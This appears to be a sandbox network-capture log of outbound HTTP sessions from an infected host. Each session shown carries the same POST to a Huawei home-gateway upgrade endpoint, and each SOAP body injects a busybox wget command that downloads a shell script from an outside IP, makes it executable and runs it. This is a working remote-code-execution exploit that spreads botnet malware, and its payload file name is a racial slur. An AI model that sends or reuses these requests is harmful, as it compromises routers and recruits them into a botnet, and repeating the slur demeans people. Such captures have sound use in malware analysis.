
Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:42.737999916 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:46.964873075 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:53.105123997 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:05.135462999 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:30.220053911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.365241051 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	35782	45.42.88.243	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:42.738146067 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	36238	31.25.12.63	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.216031075 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	35348	31.136.167.127	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.241746902 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
